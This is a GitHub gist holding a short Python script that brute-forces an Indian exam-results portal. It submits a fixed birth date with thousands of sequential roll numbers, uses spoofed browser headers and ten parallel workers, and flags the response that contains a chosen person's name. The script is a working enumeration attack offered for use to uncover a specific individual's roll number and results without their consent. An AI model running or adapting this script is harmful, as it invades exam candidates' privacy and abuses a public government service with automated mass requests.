Skip to content

Instantly share code, notes, and snippets.

@gnarula
Created May 28, 2014 06:42
Show Gist options
  • Save gnarula/ee1fdeb8dfab1018d77b to your computer and use it in GitHub Desktop.
Save gnarula/ee1fdeb8dfab1018d77b to your computer and use it in GitHub Desktop.
Figure out JEE Mains Roll No of a particular person
import urllib2, urllib, multiprocessing
def makeRequest(roll):
data = {"regno": roll, "dob": "27/11/1996", "B2": "Submit"}
r = urllib2.Request("http://cbseresults.nic.in/jee/jee14_cbse.asp")
r.add_header('User-Agent', 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36')
r.add_header('Referer', "http://cbseresults.nic.in/jee/jee_cbse_2014.htm")
r.add_header('Origin', "http://cbseresults.nic.in")
r.add_header('Host', "cbseresults.nic.in")
r.add_data(urllib.urlencode(data))
response = urllib2.urlopen(r)
if "NAME GOES HERE" in response.read():
print "%s Matches" % roll
arr = range(26500000, 26510000) # edit roll no range here
# hint - check source code to check valid initial digits for roll no
pool = multiprocessing.Pool(processes=10)
pool.map(makeRequest, arr)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment